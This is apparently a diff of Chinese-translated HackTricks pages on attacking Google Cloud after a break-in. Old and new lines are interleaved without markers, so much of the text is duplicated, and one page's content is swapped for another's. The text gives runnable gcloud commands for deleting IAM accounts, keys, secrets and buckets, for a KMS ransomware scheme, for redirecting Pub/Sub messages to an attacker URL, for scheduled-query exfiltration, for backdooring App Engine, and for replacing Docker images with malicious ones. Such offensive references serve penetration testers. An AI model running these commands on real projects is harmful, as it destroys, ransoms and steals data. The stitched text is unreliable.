gcloud projects add-iam-policy-binding [PROJECT] --member user:[EMAIL] --role roles/editor
```
</details>
如果你在这里成功,尝试**访问 web 界面**并从那里进行探索。
如果你在这里成功,尝试 **访问 web 界面** 并从那里进行探索
这是**你可以使用 gcloud 工具分配的最高级别**
这是 **你可以使用 gcloud tool 分配的最高级别**
### 删除 IAM 组件 `iam.*.delete`
`iam.*.delete` 权限(例如 `iam.roles.delete``iam.serviceAccountApiKeyBindings.delete``iam.serviceAccountKeys.delete` 等)允许某个身份删除关键的 IAM 组件,例如自定义角色、API key bindings、service account keys,以及 service accounts 本身。在攻击者手中,这可以用来移除合法的访问机制,从而造成拒绝服务。
要实施这样的攻击,例如可以使用以下命令删除角色:
```bash
gcloud iam roles delete <ROLE_ID> --project=<PROJECT_ID>
```
### `iam.serviceAccountKeys.disable` || `iam.serviceAccounts.disable`
`iam.serviceAccountKeys.disable``iam.serviceAccounts.disable` 权限允许禁用活动的服务账号密钥或服务账号;攻击者获得这些权限后,可能用来中断操作、造成拒绝服务,或通过阻止合法凭证的使用来妨碍事件响应。
要禁用服务账号,可以使用以下命令:
```bash
gcloud iam service-accounts disable <SA_EMAIL> --project=<PROJECT_ID>
```
要禁用服务账户的密钥,可以使用以下命令:
```bash
gcloud iam service-accounts keys disable <KEY_ID> --iam-account=<SA_EMAIL>
```
### `iam.*.undelete`
`iam.*.undelete` 权限允许恢复先前被删除的元素,例如 API 密钥绑定、自定义角色或服务账户。在攻击者手中,这可以用来撤销防御性操作(恢复被移除的访问权限)、重新建立已删除的入侵载体以维持持久性,或规避修复措施,从而增加事件遏制的难度。
```bash
gcloud iam service-accounts undelete "${SA_ID}" --project="${PROJECT}"
```
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,10 +1,10 @@
# GCP - KMS 权限利用后操作
# GCP - KMS Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## KMS
Find basic information about KMS in:
在以下位置查找有关 KMS 的基本信息:
{{#ref}}
../gcp-services/gcp-kms-enum.md
@@ -12,7 +12,7 @@ Find basic information about KMS in:
### `cloudkms.cryptoKeyVersions.destroy`
有此权限的攻击者可以销毁 KMS 版本。为此,需要先禁用密钥,然后销毁它:
有此权限的攻击者可以销毁 KMS 版本。为此,需要先禁用密钥,然后销毁它:
<details>
@@ -65,18 +65,18 @@ destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)
### KMS Ransomware
在 AWS 中,可以通过修改 KMS 资源策略并仅允许攻击者的账使用该密钥,从而完全 **steal a KMS key**。由于 GCP 中不存在这资源策略,因此在 GCP 中无法实现。
在 AWS 中,可以通过修改 KMS 资源策略并仅允许攻击者的账使用该 KMS key,来完全窃取它。由于 GCP 中不存在这资源策略,因此无法在 GCP 中实现此方法
然而,还有另一种方式可以实施全局 KMS Ransomware,大致包含以下步骤:
然而,还有另一种执行全局 KMS Ransomware 的方法,涉及以下步骤:
- 创建一个新的 **密钥版本密钥材料由攻击者导入**
- 创建一个新的 **密钥版本及其密钥材料**由攻击者导入
```bash
gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
```
- 将其设置为 **默认版本**(用于将来被加密的数据)
- **重新加密旧数据**,将使用先前版本加密的旧数据用新版本重新加密。
- **删除 KMS key**
- 现在只有拥有原始密钥材料的攻击者才能解密这些被加密的数据
- 将其设置为 **default version**(用于将来要被 encrypted 的数据)
- **Re-encrypt older data**:用新版本处理之前版本 encrypted 的旧数据
- **Delete the KMS key**
- 现在只有拥有原始密钥材料的攻击者才能够 decrypt 已 encrypted 的数据
#### 以下是导入新版本并禁用/删除旧数据的步骤:
@@ -203,7 +203,7 @@ print('Ciphertext:', ciphertext)
<details>
<summary>使用非对称密钥签名消息Python</summary>
<summary>使用非对称密钥签名消息 (Python)</summary>
```python
import hashlib
from google.cloud import kms
@@ -270,6 +270,32 @@ return verify_response.success
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
print('Verified:', verified)
```
### `cloudkms.cryptoKeyVersions.restore`
权限 `cloudkms.cryptoKeyVersions.restore` 允许一个身份恢复先前被安排销毁或在 Cloud KMS 中被禁用的密钥版本,使其恢复为活动且可用的状态。
```bash
gcloud kms keys versions restore <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>
```
### `cloudkms.cryptoKeyVersions.update`
权限 `cloudkms.cryptoKeyVersions.update` 允许某个主体修改 Cloud KMS 中特定密钥版本的属性或状态,例如启用或禁用该版本。
```bash
# Disable key
gcloud kms keys versions disable <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>
# Enable key
gcloud kms keys versions enable <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>
```
</details>
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,10 +1,10 @@
# GCP - Pub/Sub 后利用
# GCP - Pub/Sub Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Pub/Sub
有关 Pub/Sub 的更多信息,请参阅以下页面:
有关 Pub/Sub 的更多信息,请查看以下页面:
{{#ref}}
../gcp-services/gcp-pub-sub.md
@@ -12,7 +12,7 @@
### `pubsub.topics.publish`
在主题中发布消息,有助于 **发送意外数据**触发意外功能或利用漏洞:
在主题中发布消息, useful to **发送意外数据**触发意外功能或利用漏洞:
<details>
@@ -25,11 +25,11 @@ gcloud pubsub topics publish <topic_name> --message "Hello!"
### `pubsub.topics.detachSubscription`
可用于阻止订阅接收消息,可能用于避检测。
可用于阻止订阅接收消息,可能用于避免被检测。
<details>
<summary>将订阅从主题分离</summary>
<summary>从主题分离订阅</summary>
```bash
gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
```
@@ -37,12 +37,12 @@ gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
### `pubsub.topics.delete`
可用于阻止 subscription 接收消息,可能用于避检测。\
即使有 subscriptions 附着在 topic 上,也可以删除该 topic
可用于阻止订阅接收消息,可能用于避检测。\
即使有订阅附着在主题上,也可以删除该主题
<details>
<summary>删除 topic</summary>
<summary>删除主题</summary>
```bash
gcloud pubsub topics delete <TOPIC NAME>
```
@@ -50,15 +50,41 @@ gcloud pubsub topics delete <TOPIC NAME>
### `pubsub.topics.update`
使用此权限可更新 topic 的某些设置以扰乱它,例如 `--clear-schema-settings``--message-retention-duration``--message-storage-policy-allowed-regions``--schema``--schema-project``--topic-encryption-key`...
使用此权限可更新主题的某些设置以使其中断,例如 `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
### `pubsub.topics.setIamPolicy`
为自己授予权限以执行之前任何攻击。
为自己赋予执行之前任何攻击的权限
```bash
# Add Binding
gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"
# Remove Binding
gcloud pubsub topics remove-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"
# Change Policy
gcloud pubsub topics set-iam-policy <TOPIC_NAME> \
<(echo '{
"bindings": [
{
"role": "<ROLE_OR_CUSTOM_ROLE>",
"members": [
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
]
}
]
}') \
--project=<PROJECT_ID>
```
### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`)
Web 服务器上获取所有消息:
web 服务器上获取所有消息:
<details>
@@ -69,11 +95,11 @@ gcloud pubsub subscriptions create <subscription name> --topic <topic name> --pu
```
</details>
创建一个订阅并使用它来 **pull messages**
创建一个 subscription 并用它来 **pull messages**
<details>
<summary>创建 pull subscription 并检索消息</summary>
<summary>创建 pull subscription 并检索 messages</summary>
```bash
# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
@@ -98,7 +124,7 @@ gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
### `pubsub.subscriptions.update`
使用此权限可以更新某些设置,使消息存储你可以访问的位置(URLBig Query 表、Bucket),或仅用于中断它。
使用此权限更新某些设置,使消息存储你可以访问的位置(URL, Big Query table, Bucket),或只是用来中断它。
<details>
@@ -114,12 +140,12 @@ gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name
### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`)
将 schema 附加到 topic,使 messages 不符合它,从而导致 topic 中断。\
如果没有任何 schemas,可能需要创建一个。
将 schema 附加到 topic,使消息无法满足该 schema,从而导致 topic 中断。\
如果没有任何 schema可能需要创建一个。
<details>
<summary>创建 schema 文件并附加到 topic</summary>
<summary>Create schema file and attach to topic</summary>
```json:schema.json
{
"namespace": "com.example",
@@ -148,7 +174,7 @@ gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
### `pubsub.schemas.delete`
这看起来像是删除 schema 后你能够发送不符合该 schema 的消息。然而,由于 schema 被删除,实际上不会有消息进入该 topic。所以这是 **无用**
这看起来像是删除一个 schema 后你能够发送不符合该 schema 的 messages。然而,由于 schema 被删除,实际上不会有 message 进入该 topic。因此这是**无用**
<details>
@@ -164,11 +190,11 @@ gcloud pubsub schemas delete <SCHEMA NAME>
### `pubsub.snapshots.create`, `pubsub.snapshots.seek`
这将创建一个包含所有未 ACK 的消息的快照并将它们放回订阅。对攻击者来说不是很有用,但这里是:
这将所有未 ACKunACKed)的消息创建一个快照并将它们放回订阅。对攻击者来说不是很有用,但这里是:
<details>
<summary>创建快照并将订阅回溯到该快照</summary>
<summary>创建快照并定位到该快照</summary>
```bash
gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
@@ -12,7 +12,7 @@
### `secretmanager.versions.access`
会授予你从 Secret Manager 读取 secrets 的权限,并可能帮助你提升权限(取决于存储在 secret 中的信息):
允许你从 Secret Manager 读取 secrets,并可能有助于提升权限(取决于 secret 中存储的信息):
<details>
@@ -23,4 +23,27 @@ gcloud secrets versions access 1 --secret="<secret_name>"
```
</details>
### `secretmanager.versions.destroy`
`secretmanager.versions.destroy` 权限允许某个主体永久销毁(标记为不可恢复地删除)Secret Manager 中某个 secret 的特定版本,这可能使关键凭证被移除,并可能导致 denial of service 或阻止敏感数据的恢复。
```bash
gcloud secrets versions destroy <VERSION> --secret="<SECRET_NAME>" --project=<PROJECTID>
```
### `secretmanager.versions.disable`
`secretmanager.versions.disable` 权限允许某个主体在 Secret Manager 中禁用活动的 secret 版本,暂时阻止依赖它们的应用程序或服务使用这些版本。
```bash
gcloud secrets versions disable <VERSION> --secret="<SECRET_NAME>" --project=<PROJECTID>
```
### `secretmanager.secrets.delete`
`secretmanager.secrets.delete` 权限集允许某个身份在 Secret Manager 中完全删除一个 secret 及其所有已存储的版本。
```bash
gcloud secrets delete <SECRET_NAME> --project=<PROJECT_ID>
```
### `secretmanager.secrets.update`
权限 `secretmanager.secrets.update` 允许某个主体修改 Secret 的元数据和配置(例如:轮换设置、版本策略、标签以及某些 Secret 属性)。
```bash
gcloud secrets update SECRET_NAME \
--project=PROJECT_ID \
--clear-labels \
--rotation-period=DURATION
```
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,4 +1,4 @@
# GCP - 存储 利用后操作
# GCP - Storage Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
@@ -10,13 +10,9 @@
../gcp-services/gcp-storage-enum.md
{{#endref}}
### 授予公访问权限
### 授予公访问
可以授予外部用户(是否登录 GCP 均可)对存储桶内容的访问权限。但默认情况下,存储桶会禁用对外公开存储桶的选项:
<details>
<summary>使存储桶/对象公开</summary>
可以将访问权限授予外部用户(是否登录 GCP 均可)以访问 buckets 的内容。然而,默认情况下 bucket 会禁用公开暴露的选项:
```bash
# Disable public prevention
gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention
@@ -29,10 +25,60 @@ gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers
gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER
gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER
```
</details>
如果你尝试将 **ACLs 应用于已禁用 ACLs 的 bucket**,你会看到此错误:`ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
如果你尝试给予 **ACLs to a bucket with disabled ACLs**,你会遇到这个错误: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
要通过浏览器访问公开的 bucket,请访问 URL `https://<bucket_name>.storage.googleapis.com/``https://<bucket_name>.storage.googleapis.com/<object_name>`
要通过浏览器访问开放的 buckets,请访问 URL `https://<bucket_name>.storage.googleapis.com/``https://<bucket_name>.storage.googleapis.com/<object_name>`
### `storage.objects.delete` (`storage.objects.get`)
删除对象:
```bash
gcloud storage rm gs://<BUCKET_NAME>/<OBJECT_NAME> --project=<PROJECT_ID>
```
### `storage.buckets.delete`, `storage.objects.delete` & `storage.objects.list`
要删除一个 bucket
```bash
gcloud storage rm -r gs://<BUCKET_NAME>
```
### 停用 HMAC 密钥
`storage.hmacKeys.update` 权限允许停用 HMAC 密钥,`storage.hmacKeys.delete` 权限允许某个身份删除与 Cloud Storage 中的服务账户关联的 HMAC 密钥。
```bash
# Deactivate
gcloud storage hmac update <ACCESS_ID> --deactivate
# Delete
gcloud storage hmac delete <ACCESS_ID>
```
### `storage.buckets.setIpFilter` & `storage.buckets.update`
拥有 `storage.buckets.setIpFilter` 权限以及 `storage.buckets.update` 权限的主体,可以在 Cloud Storage bucket 上配置 IP 地址过滤器,指定允许访问该 bucket 资源的 IP 范围或地址。
要完全清除 IP 过滤器,可以使用以下命令:
```bash
gcloud storage buckets update gs://<BUCKET_NAME> --project=<PROJECT_ID>
```
要更改被过滤的 IPs,可使用以下命令:
```bash
gcloud storage buckets update gs://<BUCKET_NAME> \
--ip-filter-file=ip-filter.json \
--project=<PROJECT_ID>
```
JSON 文件表示过滤器本身,例如:
```bash
{
"mode": "Enabled",
"publicNetworkSource": {
"allowedIpCidrRanges": ["<IP>/<MASK>"]
},
"allowCrossOrgVpcs": false,
"allowAllServiceAgentAccess": false
}
```
### `storage.buckets.restore`
使用以下方法恢复存储桶:
```bash
gcloud storage restore gs://<BUCKET_NAME>#<GENERATION> \
--project=<PROJECT_ID>
```
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,87 +1,139 @@
# GCP - Apikeys Privesc
# GCP - AppEngine Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Apikeys
## App Engine
The following permissions are useful to create and steal API keys, not this from the docs: _API key 是一个简单的加密字符串,**在没有任何主体的情况下识别一个应用**。它们对于**匿名访问公共数据** 很有用,并用于**将**API 请求**关联**到你的项目以用于配额和**计费**。_
因此,使用 API key 你可以让该公司为你使用 API 支付费用,但你无法通过它来提升权限。
For more information about API Keys check:
有关 App Engine 的更多信息,请查看:
{{#ref}}
../gcp-services/gcp-api-keys-enum.md
../gcp-services/gcp-app-engine-enum.md
{{#endref}}
For other ways to create API keys check:
### `appengine.applications.get`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.operations.list`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.create`, `appengine.versions.get`, `appengine.versions.list`, `cloudbuild.builds.get`,`iam.serviceAccounts.actAs`, `resourcemanager.projects.get`, `storage.objects.create`, `storage.objects.list`
这些是使用 **`gcloud` cli** 部署 App 所需的权限。也许可以省略 **`get`** 和 **`list`** 权限。
你可以在 [https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine](https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine) 找到 python 代码示例。
默认情况下,App 服务的名称为 **`default`**,并且同名实例只能有 1 个。\
要更改并创建第二个 App,在 **`app.yaml`** 中将根键的值改为类似 **`service: my-second-app`**。
```bash
cd python-docs-samples/appengine/flexible/hello_world
gcloud app deploy #Upload and start application inside the folder
```
至少等 10–15 分钟,如果没有效果,调用 **deploy another of times** 并再等待几分钟。
> [!NOTE]
> 可以指定要使用的 **Service Account**,但默认情况下使用 App Engine 默认的 SA。
应用的 URL 类似于 `https://<proj-name>.oa.r.appspot.com/``https://<service_name>-dot-<proj-name>.oa.r.appspot.com`
### 更新等效权限
你可能有足够的权限来更新 AppEngine,但没有权限创建新的。在这种情况下,你可以按如下方式更新当前的 App Engine:
```bash
# Find the code of the App Engine in the buckets
gsutil ls
# Download code
mkdir /tmp/appengine2
cd /tmp/appengine2
## In this case it was found in this custom bucket but you could also use the
## buckets generated when the App Engine is created
gsutil cp gs://appengine-lab-1-gcp-labs-4t04m0i6-3a97003354979ef6/labs_appengine_1_premissions_privesc.zip .
unzip labs_appengine_1_premissions_privesc.zip
## Now modify the code..
## If you don't have an app.yaml, create one like:
cat >> app.yaml <<EOF
runtime: python312
entrypoint: gunicorn -b :\$PORT main:app
env_variables:
A_VARIABLE: "value"
EOF
# Deploy the changes
gcloud app deploy
# Update the SA if you need it (and if you have actas permissions)
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
```
如果你**已经攻陷了一个 AppEngine**,并且你拥有权限 **`appengine.applications.update`**,并对要使用的服务帐号具有 **actAs** 权限,你可以通过以下方式修改 AppEngine 使用的服务帐号:
```bash
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
```
### `appengine.instances.enableDebug`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.get`, `appengine.versions.list`, `compute.projects.get`
使用这些权限,可以在类型为 **flexible** (非 standard) 的 App Engine 实例上通过 ssh 登录。某些 **`list`** 和 **`get`** 权限可能并非真正必要。
```bash
gcloud app instances ssh --service <app-name> --version <version-id> <ID>
```
### `appengine.applications.update`, `appengine.operations.get`
我认为这只是更改 google 用来设置应用程序的后台 SA,因此我认为你无法滥用它来窃取 service account。
```bash
gcloud app update --service-account=<sa_email>
```
### `appengine.versions.getFileContents`, `appengine.versions.update`
不太确定如何使用这些权限或它们是否有用(注意,当你更改 code 时会创建一个新版本,所以我不知道是否可以只更新某个版本的 code 或其 IAM role,但我猜应该可以,也许通过修改 bucket 内的 code?)。
### `bigquery.tables.delete`, `bigquery.datasets.delete` & `bigquery.models.delete` (`bigquery.models.getMetadata`)
用于移除 tables、dataset 或 models
```bash
# Table removal
bq rm -f -t <PROJECT_ID>.<DATASET>.<TABLE_NAME>
# Dataset removal
bq rm -r -f <PROJECT_ID>:<DATASET>
# Model removal
bq rm -m <PROJECT_ID>:<DATASET_NAME>.<MODEL_NAME>
```
### 滥用 Scheduled Queries
拥有 `bigquery.datasets.get``bigquery.jobs.create``iam.serviceAccounts.actAs` 权限的身份,可以查询数据集元数据、启动 BigQuery 作业,并使用权限更高的 Service Account 来执行这些作业。
该攻击允许恶意利用 Scheduled Queries 来自动化查询(在所选的 Service Account 下运行),例如可能导致敏感数据被读取并写入攻击者可访问的另一个表或数据集——从而实现间接和持续的 exfiltration,而无需将数据提取到外部。
一旦攻击者知道哪个 Service Account 拥有执行目标查询所需的权限,就可以创建一个使用该 Service Account 运行的 Scheduled Query 配置,定期将结果写入其选择的数据集。
```bash
bq mk \
--transfer_config \
--project_id=<PROJECT_ID> \
--location=US \
--data_source=scheduled_query \
--target_dataset=<DEST_DATASET> \
--display_name="Generic Scheduled Query" \
--service_account_name="<SERVICE_ACCOUNT>@<PROJECT_ID>.iam.gserviceaccount.com" \
--schedule="every 10 minutes" \
--params='{
"query": "SELECT * FROM `<PROJECT_ID>.<SOURCE_DATASET>.<source_table>`;",
"destination_table_name_template": "<destination_table>",
"write_disposition": "WRITE_TRUNCATE"
}'
```
### 对存储桶的写入访问权限
如上所述,appengine 版本会在一个格式为 `staging.<project-id>.appspot.com` 的存储桶中生成一些数据。注意无法预先接管这个存储桶,因为 GCP 用户无权使用域名 `appspot.com` 创建存储桶。
然而,如果对该存储桶具有读写权限,通过监控该存储桶并在每次发生更改时尽快修改代码,可以升级到附加在 AppEngine 版本上的 SA 的权限。这样,由该代码创建的容器将 **execute the backdoored code**
更多信息和一个 **PoC(请查看此页面的相关信息)**
{{#ref}}
gcp-serviceusage-privesc.md
gcp-storage-privesc.md
{{#endref}}
### Brute Force API Key access <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
### 对 Artifact Registry 的写入访问权限
由于你可能不知道该项目启用了哪些 APIs,或对你发现的 API key 应用了哪些限制,建议运行工具 [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) 来检查 **使用该 API key 可以访问到哪些内容。**
### `apikeys.keys.create` <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
此权限允许**创建 API key**
<details>
<summary>使用 gcloud 创建 API key</summary>
```bash
gcloud services api-keys create
Operation [operations/akmf.p7-[...]9] complete. Result: {
"@type":"type.googleapis.com/google.api.apikeys.v2.Key",
"createTime":"2022-01-26T12:23:06.281029Z",
"etag":"W/\"HOhA[...]=\"",
"keyString":"AIzaSy[...]oU",
"name":"projects/5[...]6/locations/global/keys/f707[...]e8",
"uid":"f707[...]e8",
"updateTime":"2022-01-26T12:23:06.378442Z"
}
```
</details>
你可以在这里找到一个脚本来自动化 [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/b-apikeys.keys.create.sh).
> [!CAUTION]
> 注意:默认情况下,用户有权限创建新项目,并且在新项目上被授予 Owner role。因此用户可以**创建一个项目并在该项目内创建一个 API key**。
### `apikeys.keys.getKeyString` , `apikeys.keys.list` <a href="#apikeys.keys.getkeystringapikeys.keys.list" id="apikeys.keys.getkeystringapikeys.keys.list"></a>
这些权限允许**列出并获取所有 apiKeys 并获取 Key**
<details>
<summary>列出并检索所有 API 密钥</summary>
```bash
for key in $(gcloud services api-keys list --uri); do
gcloud services api-keys get-key-string "$key"
done
```
</details>
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/c-apikeys.keys.getKeyString.sh).
### `apikeys.keys.undelete` , `apikeys.keys.list` <a href="#serviceusage.apikeys.regenerateapikeys.keys.list" id="serviceusage.apikeys.regenerateapikeys.keys.list"></a>
这些权限允许你**列出并恢复已删除的 API 密钥**。在执行 **undelete** 操作后,**API 密钥会在输出中给出**:
<details>
<summary>列出并恢复 API 密钥</summary>
```bash
gcloud services api-keys list --show-deleted
gcloud services api-keys undelete <key-uid>
```
</details>
### 创建内部 OAuth 应用以 phish 其他工作人员
查看下列页面以了解如何执行此操作,尽管此操作属于服务 **`clientauthconfig`** [according to the docs](https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin):
{{#ref}}
../../workspace-security/gws-google-platforms-phishing/
{{#endref}}
尽管 App Engine 会在 Artifact Registry 中创建 docker images,经测试,**即使你修改该服务内的镜像** 并删除 App Engine 实例(因此会部署一个新的实例),**被执行的代码并不会改变**。
有可能通过执行类似对存储桶的 **Race Condition attack** 来覆盖被执行的代码,但这没有经过测试。
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## Artifact Registry
有关 Artifact Registry 的更多信息,请查看
有关 Artifact Registry 的更多信息,请参阅
{{#ref}}
../gcp-services/gcp-artifact-registry-enum.md
@@ -12,10 +12,10 @@
### artifactregistry.repositories.uploadArtifacts
拥有此权限的攻击者可以上传包含恶意代码(例如 Docker 镜像)的制品新版本:
拥有此权限的 attacker 可以上传包含恶意代码(例如 Docker images)的 artifacts 的新版本:
<details>
<summary>上传 Docker 镜像到 Artifact Registry</summary>
<summary> Artifact Registry 上传 Docker 镜像</summary>
```bash
# Configure docker to use gcloud to authenticate with Artifact Registry
gcloud auth configure-docker <location>-docker.pkg.dev
@@ -29,22 +29,22 @@ docker push <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
</details>
> [!CAUTION]
> 检查,存在可以上传一个与已存在相同名称和 tag 的恶意 docker image 的情况,因此旧的会失去该 tag,下一次按该 tag 下载时会拉取到恶意的那个
> 确认,可以用与已存在的 **malicious docker** 镜像相同的名称和 **tag** 上传新的镜像,因此 **旧的镜像将失去该 tag**,下次拉取具有该 tag 的镜像时将会拉取到 **恶意镜像**
<details>
<summary>Upload a Python library</summary>
<summary>上传一个 Python </summary>
**首先创建要上传的库**(如果你能从 registry 下载到最新版本,可以省略这一步):
**首先创建要上传的库**(如果你能从 registry 下载到最新版本,可以跳过此步骤):
1. **设置你的项目结构**
- 为你的库创建一个新目录,例如 `hello_world_library`
- 在该目录创建一个以包名命名的目录,例如 `hello_world`
- 在包目录创建一个 `__init__.py` 文件。文件可以为空,也可以包含包的初始化代码。
- 在该目录内,创建一个以你的包名命名的目录,例如 `hello_world`
-你的包目录内,创建一个 `__init__.py` 文件。文件可以为空,包含包的初始化代码。
<details>
<summary>Create project structure</summary>
<summary>创建项目结构</summary>
```bash
mkdir hello_world_library
@@ -55,13 +55,13 @@ touch hello_world/__init__.py
</details>
2. **编写库代码**
2. **编写你的库代码**
-`hello_world` 目录中为你的模块创建一个新的 Python 文件,例如 `greet.py`
-`hello_world` 目录中为你的模块创建一个新的 Python 文件,例如 `greet.py`
- 编写你的 "Hello, World!" 函数:
<details>
<summary>Create library module</summary>
<summary>创建库模块</summary>
```python
# hello_world/greet.py
@@ -74,10 +74,10 @@ return "Hello, World!"
3. **创建一个 `setup.py` 文件**
-`hello_world_library` 根目录下创建 `setup.py` 文件。
- 该文件包含库的元数据,并告诉 Python 如何安装该库
- 该文件包含关于你的库的元数据,并告诉 Python 如何安装
<details>
<summary>Create setup.py file</summary>
<summary>创建 setup.py 文件</summary>
```python
# setup.py
@@ -95,14 +95,14 @@ install_requires=[
</details>
**现在,上传库:**
**现在,开始上传库:**
1. **构建你的包**
-`hello_world_library` 目录下运行:
-`hello_world_library` 目录下运行:
<details>
<summary>Build Python package</summary>
<summary>构建 Python </summary>
```sh
python3 setup.py sdist bdist_wheel
@@ -110,12 +110,12 @@ python3 setup.py sdist bdist_wheel
</details>
2. **为 twine 配置**(用于上传包):
2. **为 twine 配置身份验**(用于上传你的包):
- 确保已安装 `twine``pip install twine`)。
- 使用 `gcloud` 配置凭据:
<details>
<summary>Upload package with twine</summary>
<summary>使用 twine 上传包</summary>
```sh
twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-access-token)" --repository-url https://<location>-python.pkg.dev/<project-id>/<repo-name>/ dist/*
```
@@ -133,22 +133,22 @@ rm -rf dist build hello_world.egg-info
</details>
> [!CAUTION]
> 无法上传与已存在版本相同的 python 库,但可以上传 **更高版本**(或在版本末尾添加额外的 **`.0`**,如果这行得通 —— 不过在 python 中通常不可行),或者可以 **删除最后一个版本并上传一个新的版本**(需要 `artifactregistry.versions.delete`****
>
> <details>
> <summary>删除 artifact 版本</summary>
>
> ```sh
> gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>
> ```
>
> </details>
> 无法上传与已存在版本相同的 python 库,但可以上传 **更高版本**(或在版本末尾添加额外的 **`.0`**,如果可行 —— 不适用于 python),或者可以 **删除最后一个版本并上传一个新的(需要 `artifactregistry.versions.delete`**
<details>
<summary>删除 artifact 版本</summary>
```sh
gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>
```
</details>
### `artifactregistry.repositories.downloadArtifacts`
拥有此权限,您可以**下载 artifacts**并搜索**敏感信息**和**漏洞**。
拥有此权限你可以 **下载 artifacts** 并搜索 **敏感信息****漏洞**
下载一个 **Docker** 镜像:
Download a **Docker** image:
<details>
<summary>从 Artifact Registry 下载 Docker 镜像</summary>
@@ -161,7 +161,7 @@ docker pull <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
```
</details>
下载一个 **python** 库:
Download a **python** library:
<details>
<summary>从 Artifact Registry 下载 Python 库</summary>
@@ -170,7 +170,7 @@ pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth prin
```
</details>
- 如果在一个 virtual registry 中同时混合了 remote 和 standard registries,并且同一个 package 在两者中都存在,会发生什么?查看此页面:
- 如果在一个虚拟注册表中同时混合了远程和标准注册表,且某个包同时存在于两者,会发生什么?查看此页面:
{{#ref}}
../gcp-persistence/gcp-artifact-registry-persistence.md
@@ -178,10 +178,10 @@ pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth prin
### `artifactregistry.tags.delete`, `artifactregistry.versions.delete`, `artifactregistry.packages.delete`, (`artifactregistry.repositories.get`, `artifactregistry.tags.get`, `artifactregistry.tags.list`)
registry 删除 artifacts,例如 docker images
注册表中删除制品,例如 docker 镜像
<details>
<summary> Artifact Registry 删除 Docker 镜像</summary>
<summary>Delete Docker image from Artifact Registry</summary>
```bash
# Delete a docker image
gcloud artifacts docker images delete <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
@@ -190,10 +190,10 @@ gcloud artifacts docker images delete <location>-docker.pkg.dev/<proj-name>/<rep
### `artifactregistry.repositories.delete`
删除整个库(即使有内容)
